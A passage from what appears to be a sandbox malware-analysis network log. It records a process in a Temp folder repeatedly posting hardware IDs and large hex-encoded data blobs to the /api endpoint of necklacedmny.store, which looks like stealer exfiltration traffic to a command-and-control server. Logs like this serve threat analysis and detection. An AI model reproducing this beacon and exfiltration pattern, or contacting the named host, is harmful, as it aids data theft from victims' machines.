{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf79ce9b8ee5b1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1006&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2750237&cwnd=231&unsent_bytes=0&cid=975839af19e3b590&ts=733&x=0"
2024-10-31 00:19:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50050	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:55 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 00:19:55 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:55 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ir3fsilucqnc696ang5tdud7se; expires=Sun, 23-Feb-2025 18:06:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4c2OkSNI6EPEQQ7GNt5y%2FsltFWiTllpQb5IaRQg%2BsIKLHI3dDGHS51cny%2Frufz9vdxS09eikpsDlHGhuJRFy6dKiqB85SnGbcf8oyarWOhFdLROcwiKT00sMwdaEOd%2BWcxVT%2FzI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf79ed3a17345e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1284&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2271372&cwnd=251&unsent_bytes=0&cid=1b79df206c19243c&ts=382&x=0"
2024-10-31 00:19:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50053	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:19:57 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 00:19:57 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:19:57 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 00:19:57 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nqubchlucnos53gia346ggped1; expires=Sun, 23-Feb-2025 18:06:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SjlF%2FtUPzHQ2IaLAfcqTrLlg96CB6sWdslaitt43RNBsGOCbyo7YVFLV5KDAa4ceaVk2ptTKrEDfK8fefwU0pMTta0HtlVgXDOnII0vBfZrmXY%2FxgM%2FUT0PwR08c8%2BmxrTU4Sw8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf79fbfc67144b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20932&delivery_rate=2305732&cwnd=239&unsent_bytes=0&cid=08cdc0db79264259&ts=609&x=0"
2024-10-31 00:19:57 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:19:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50056	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:01 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1279 Host: necklacedmny.store
2024-10-31 00:20:01 UTC	1279	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:01 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g38u5s2lqvartu3tniknk4ihhh; expires=Sun, 23-Feb-2025 18:06:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=84fMmTD5oIk5Z8lcv1DSMUCD65RSg84k%2FSZpc3kByXyHUWHzDt%2FZVmlKANVN%2B3mdMTrfoio73ci3YYKo6D87BsSuRGnbfCO0vu2XstojegW5VPXzjIqgPO4IUlBQt9M%2BB7Ss%2FAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a13ec6f2c86-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2092&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2198&delivery_rate=1337644&cwnd=233&unsent_bytes=0&cid=63b60ed213303904&ts=494&x=0"
2024-10-31 00:20:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:20:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50059	188.114.97.3	443	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:06 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568337 Host: necklacedmny.store
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 06 c8 cb 24 f0 29 e9 00 73 38 10 67 4a cd 67 01 e6 86 30 90 60 18 d5 9b a0 b1 be 09 cc 02 8a 9f 04 8a bb 8d 12 62 14 03 6f 5a 1a 39 74 22 f6 63 9f 6c 9f 10 38 9b 94 ee e4 81 03 cd 4a 1b 41 a6 e8 58 89 2c a7 72 48 51 1d a6 4a f0 4b b5 91 c9 f7 31 35 3c fe 13 42 4a bb 65 7d 9c b9 50 cc 28 94 f0 62 79 4a 9d 37 bd ff 1e b5 da 42 41 6b 18 96 ef 2d 05 36 ee bc 9f a5 65 98 e2 53 98 79 4a da 66 73 a0 9b 12 ab c1 59 94 4b 5a 55 aa 1d 7d 93 e1 cb c9 17 22 93 68 88 3f 11 dc 90 5d fd 76 13 36 94 28 7c 1a 6e 84 85 fd 7f 41 ec cd 8f a2 ca 9f d5 6a 06 44 f2 40 e2 d2 18 73 f2 f3 25 be af 4a 49 5d 58 6e c3 07 f5 0b 48 40 43 a5 78 a1 5f 49 68 41 2d 03 a5 93 93 5d e2 f7 fa 42 18 b2 bf 6d 17 b3 69 5a a1 bd f5 80 3f ad 8f 99 53 e3 a6 14 72 96 15 d9 62 1b 4b 26 ed 0f d4 79 9f Data Ascii: $)s8gJg0`boZ9t"cl8JAX,rHQJK15<BJe}P(byJ7BAk-6eSyJfsYKZU}"h?]v6(\|nAjD@s%JI]XnH@Cx_IhA-]BmiZ?SrbK&y
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 8d 57 21 44 aa 64 57 72 61 a7 ee c6 cc 51 ea 50 83 8e a0 69 89 5c f9 a4 b4 e3 49 bb 35 d3 a9 67 ed fc 86 d0 bf 33 9f a1 6a 65 49 a7 16 2d b5 79 29 9e da 3b 02 b9 d0 e4 97 6a 77 77 d6 eb 62 6b a5 88 ca d1 3f db ff 5f 78 d8 7c a6 10 a9 5a 77 79 57 67 35 dd b9 45 4c f3 cf a6 b2 4b a7 a7 54 8e 18 13 08 3b bc de 6b 25 90 56 d2 86 ee 06 de ee a7 c7 29 08 26 df 85 8c 34 50 aa 85 6a 9d 6e 0f 7b cd 0e 45 07 14 05 47 c5 04 39 23 90 d5 24 4c 33 c2 b2 29 bc 94 80 61 49 f6 3c 6a 5b 55 4b be 5b 67 32 88 f4 6f c2 d5 46 bb cc e7 f1 dc c7 15 a2 10 b2 4a b7 7b 9e 49 11 20 8c 29 3b d2 a3 42 e3 d6 df 7c f6 de 12 56 a6 be f6 39 d4 07 bd 7d b4 7a 87 62 e9 66 d2 36 95 28 f8 c6 a4 ca 70 84 7d 6e 18 cb c4 6e fd 1e dd fa 47 53 82 d3 0e d4 56 75 db 2d cd fc f1 49 bd 21 e7 f7 7b 03 Data Ascii: W!DdWraQPi\I5g3jeI-y);jwwbk?_x\|ZwyWg5ELKT;k%V)&4Pjn{EG9#$L3)aI<j[UK[g2oFJ{I );B\|V9}zbf6(p}nnGSVu-I!{
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 9f 34 17 a2 e6 2e ed b2 61 3b dd ba f1 1e a3 7d 0c c5 db 79 8f bf 81 a4 ac 80 df 4d 74 be ea d4 6f 93 c3 cb 39 6d e7 35 af e2 12 c5 0f 3e 9f a4 a7 2e 15 fe 59 83 32 ba 8a 3d 70 94 97 87 74 8e a5 35 2f 93 16 cf df 98 d8 19 7f 3c 57 af f1 3c 37 e8 a4 45 8e f0 3f 54 e2 ba d2 68 33 26 a0 e3 a5 c9 84 6c b8 1b cd a0 70 74 ac 06 66 bf c2 78 f4 ea 52 80 63 7d 93 9a 61 c0 34 37 77 c8 d9 69 f7 47 c2 ac ec 55 e5 51 5e 19 53 b1 99 44 d5 58 f1 e2 b0 54 17 3b 3d b8 cd 6e ca bd 23 0e a5 02 e0 9d 29 4f 53 ed f3 be 90 8e e0 cd 75 1a 5b bc 83 65 be 98 30 e6 b9 b3 f2 e1 a7 6b 11 5e 5c 6a 90 e7 a4 2a 03 9c f6 aa ed 5b 7a bb 86 ed 0a 0d 8d e7 05 3b f2 e4 37 59 af c4 3e 20 ee 16 9c 91 22 1f 3a 82 a2 1e 97 82 c2 37 d6 07 9a bb e2 5f 1f 24 d3 24 37 e3 90 e0 5d 47 08 41 0c 30 cf Data Ascii: 4.a;}yMto9m5>.Y2=pt5/<W<7E?Th3&lptfxRc}a47wiGUQ^SDXT;=n#)OSu[e0k^\j*[z;7Y> ":7_$$7]GA0
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 38 17 c1 5a 8c 28 5f 7b db 09 49 d6 45 d8 ae 57 75 e6 35 09 d4 ca 0f 57 42 01 fb 90 19 a5 f1 07 c9 33 6e c7 6c 14 29 b0 79 87 ee 3c 11 e2 f7 44 41 00 76 df ac 8d 28 ae ed 69 12 e1 91 a3 f8 b7 2e 09 bf 28 33 22 07 6e 43 4e 78 70 60 44 e0 27 b7 d0 87 eb de da d1 c4 99 bc cb 77 b2 41 4d e0 c8 c2 d0 a7 8c 20 48 82 30 a1 5b 51 75 36 de 32 b2 13 69 38 89 55 41 85 df 27 4c 3e e7 d2 84 6e 60 bb 43 f9 d8 63 13 7f a4 a1 ce 61 bd 8b eb 08 ef 3d e9 75 d1 ff 7b e3 af 43 6a 16 06 4d fa 53 ed 5e 20 fd fc 0d 31 5b 44 fa c6 86 b2 ac f2 e8 14 ec 99 9c 5f ac 3b a6 8a e3 13 3e fe f0 9d f0 89 ed 5a b2 31 dd ef 44 a5 c6 1c c2 44 f9 84 4a d0 4f 63 49 20 79 5c 34 e1 ff 1f ac ff 5b cc e8 6d e0 5d 31 d2 6d 6b 12 f9 47 42 4b 4d f9 11 64 b2 16 3b 2f 0d 7e 6d a0 fb 0b 3d 12 b2 7c b0 Data Ascii: 8Z(_{IEWu5WB3nl)y<DAv(i.(3"nCNxp`D'wAM H0[Qu62i8UA'L>n`Cca=u{CjMS^ 1[D_;>Z1DDJOcI y\4[m]1mkGBKMd;/~m=\|
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: ae e6 5c 74 aa 36 d3 e4 d6 56 62 d0 e2 9b 43 4e 9f cd 8b ba 13 d4 94 cf d5 f2 70 e6 5b 3d f1 67 ba d5 5a f5 1a bd 5d 23 b6 fc 1a 8c dd 87 ed f8 1e 1f a2 f7 64 3b 39 74 a6 76 52 e7 6f 88 00 ab b1 34 0d 8b 97 56 08 dd 16 de b2 44 54 57 dc 19 58 61 ed d0 89 fb 49 b5 2e 36 2d 8e 88 8a 09 8d 14 e6 bc fa 97 d8 46 1c 6a 34 1d 69 48 14 fb 90 75 3b da 2c 09 74 40 13 05 17 45 cb 6f e3 d7 a3 89 a9 1f e5 2d 71 f0 3b 41 3c 63 66 9c 0f a1 46 24 f6 a1 48 4a 80 7e cc e0 7f 91 76 f7 bf 8d 95 9a 24 88 fd de 55 87 19 21 b1 43 87 89 96 60 e8 18 01 c0 d1 00 34 45 f4 0a 98 7f d4 de ee a9 f3 e0 38 70 7a 71 53 d2 a9 5f 17 41 db 46 52 68 6a 10 17 ea ba 7b 88 11 16 24 38 08 ee d7 51 24 00 83 37 7a f1 d6 7c ab 0c 98 b8 b0 ae cd 6a 17 9e a4 e1 50 52 98 bf 30 d1 20 ca 61 81 b2 23 d5 Data Ascii: \t6VbCNp[=gZ]#d;9tvRo4VDTWXaI.6-Fj4iHu;,t@Eo-q;A<cfF$HJ~v$U!C`4E8pzqS_AFRhj{$8Q$7z\|jPR0 a#
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: f6 aa 5f 60 2b a5 8c 7b 00 7a 68 6b a5 3f bf 63 7c 7a d4 07 d1 44 df 20 f9 87 12 f7 ad 60 03 c3 63 99 45 ad b5 55 b2 7f 6e 43 51 53 99 12 e3 04 fc c2 d1 f2 a6 b3 12 4a 72 63 6e a3 2a ef ae a5 65 cb a6 10 c1 57 28 7f 09 40 df cb 6d 82 33 91 84 b8 64 5e ee f9 3b ed 3c f9 fc 76 32 e7 f4 fd 8d f8 ac a4 09 dd 6a 56 56 7c d6 eb 64 aa 08 c8 fb fa 3d 22 7d d8 c6 80 3c fa 01 0e f1 c1 97 1d 63 6a ad d3 2e 12 ac ee 37 07 e1 25 1d ca 9f 25 55 c7 86 26 60 47 55 81 fd 6a c9 9d fa 0a c1 0b 40 35 8d c9 ca 99 61 5e e5 93 ba f5 6e a5 8e f7 bb 89 f2 00 df 90 9b 42 25 5e 39 4f 86 a3 f7 28 bf 12 05 8f 0c 66 56 eb 5a 90 de 63 68 f1 d7 b7 f6 1a e3 b0 50 eb b0 d5 d9 20 3d 36 4b f0 39 8b a5 c1 fb b0 48 da c8 cd 5f 5b 13 48 ed d7 ad d1 e5 a7 cc 72 dc fb bb a7 95 1e e3 6e 11 87 d6 Data Ascii: _`+{zhk?c\|zD `cEUnCQSJrcn*eW(@m3d^;<v2jVV\|d="}<cj.7%%U&`GUj@5a^nB%^9O(fVZchP =6K9H_[Hrn
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 48 55 4f 76 e1 77 1b a6 58 0a 67 37 f9 3d 90 15 bc ad 29 7a 55 f0 d4 47 24 7e 68 c3 26 b0 f9 59 09 6c 07 c9 7e 65 9a 9e 10 bb 37 38 b5 31 0f 42 39 c9 82 b9 fb a5 01 a5 c1 ec 96 6e e7 08 b3 71 a8 21 f1 11 92 cb 5e 6d 26 96 45 b3 cf fd 00 f8 b9 6a 8d 83 6a 54 1f ff a8 97 ec 76 e5 e5 5d 09 19 50 86 40 09 a6 a4 5b 85 65 0d 91 58 8f ee 48 6a b0 4f 08 cc 16 55 1f 65 19 1a 5c 7d a9 f6 00 49 15 e9 7c b5 85 2d ac de bf 31 14 3b a6 75 58 77 6c 48 98 20 45 df 27 7d 17 ca 20 6e bc a6 08 4c b8 0a 8c 29 60 39 b9 85 43 da a3 1d 35 a7 83 9d 74 88 78 a0 a9 21 fc 17 2f 05 7f 7a 50 f0 49 24 df 1c 91 13 a6 bc 49 0f 62 9b b3 d3 97 43 62 6a de a7 4a 34 a3 b0 84 c7 d4 4a d5 d0 e6 5b 5a 4f 23 8a f5 22 05 db 82 be f9 7c 08 5a e4 04 9e da 38 fb 1f 52 b3 4c 61 a3 bc 98 48 9d 6e 1d Data Ascii: HUOvwXg7=)zUG$~h&Yl~e781B9nq!^m&EjjTv]P@[eXHjOUe\}I\|-1;uXwlH E'} nL)`9C5tx!/zPI$IbCbjJ4J[ZO#"\|Z8RLaHn
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: 86 05 ce 35 5a 7f 9f 7d 7e 66 4c c1 ec 6a 60 a6 29 69 f0 93 d6 f6 a4 e4 6f 03 49 b1 e2 99 f7 e8 92 ff 35 4a 77 c4 c0 8e d2 3a ff 1f 9a 78 18 55 f9 29 a1 38 7e 57 72 83 ea 5d d3 e0 b4 c2 aa cc 7d 38 ab 14 46 c5 aa 40 8c 83 ef 38 be a3 87 d6 d3 4f 17 aa e3 af d1 b4 a6 b4 5f cd 3f 59 23 87 c3 4b a6 d3 0a 07 5b cc 83 18 cd 45 c7 d6 27 ce 7d e7 46 19 47 03 10 56 f4 f2 5b 8d eb ff 8e ca af 23 e8 d2 84 01 71 00 c3 e1 3b 13 a4 bd da b1 ce d4 77 80 cc cb 3e 96 9c 9a 02 e3 37 17 65 35 0b 7e f1 d3 03 ff 39 45 fa 1c 96 14 a2 2e 1a c1 b0 92 20 3b 11 e7 da 4d 51 dd 91 f4 b3 a8 54 3f 36 fe 0f ba 3f 0a 6c 89 b2 db a5 24 03 3a ea 4e af 2a 29 fc 73 26 35 8e 79 da e1 67 a4 b0 cc 01 c1 6f 8a f2 e9 54 ff ed d3 15 e3 46 68 2e 5b 4d db b2 04 39 07 aa 7b f1 69 37 d0 82 ad 63 f4 Data Ascii: 5Z}~fLj`)ioI5Jw:xU)8~Wr]}8F@8O_?Y#K[E'}FGV[#q;w>7e5~9E. ;MQT?6?l$:N*)s&5ygoTFh.[M9{i7c
2024-10-31 00:20:06 UTC	15331	OUT	Data Raw: fe 90 d8 ab 07 6a cc 1c 5a f9 8c 27 d7 0a 41 72 22 17 c1 ea a0 b0 1e 99 cd 20 77 62 ae fa c3 ba cf 37 28 67 99 8d 63 7e 9c 7c 7e 22 0c 0b 14 e8 43 82 b1 46 b2 99 f2 c3 0a cf e9 25 58 7c 63 8e e6 9a bb 50 a2 14 ce 49 ea 18 b0 c2 92 31 73 87 1b 86 da a0 b7 b5 f7 26 1c 62 0d da 76 7a d1 ec 5a 3b c4 f6 54 74 8b c3 4e 2c 08 91 f3 cb 26 9c 4d a2 a9 ba 1a 25 db 4b 01 73 96 b2 c1 d3 6c 21 51 42 a6 ce e6 ad 93 1e e0 a2 65 66 d9 92 28 e0 3a dd ef 5d 23 8d f4 81 de 8c 4d 96 eb db 10 ea eb 54 4d 28 c3 d4 58 7f 1b bf 5c 44 2e b8 10 f4 e5 87 f0 4d a5 7d ac 9f 8f a8 a8 28 f5 03 3c 5b 68 76 fb ce 80 22 a6 4a e5 55 94 ee 2f 14 7f 41 ec 08 1e 51 f5 41 0a 46 45 46 c7 e9 88 9c d8 49 c9 70 28 1c ec 8f 1a a9 0a 00 fb 26 d8 3c 60 0f 8b fb cf e2 93 0b b8 db 39 cd 9e c8 7c c2 bf Data Ascii: jZ'Ar" wb7(gc~\|~"CF%X\|cPI1s&bvzZ;TtN,&M%Ksl!QBef(:]#MTM(X\D.M}(<[hv"JU/AQAFEFIp(&<`9\|
2024-10-31 00:20:08 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2g953qov77qislg4t5tgdiif27; expires=Sun, 23-Feb-2025 18:06:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SNrcGASawkHI377HBHRXoFJe%2F3BwdPE863iKEor%2FFS2pg6npPPfYGMU%2B0dytQNrvg6SUbDgiqSlbUH%2BLoFDkTOmEBIcae1Nm4aD1Z8Dddri2tXAAwHJ7DlO0LIVreu58iKMenJw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a35df916996-DFW alt-svc: h3=":443"; ma=86400 server-timing: 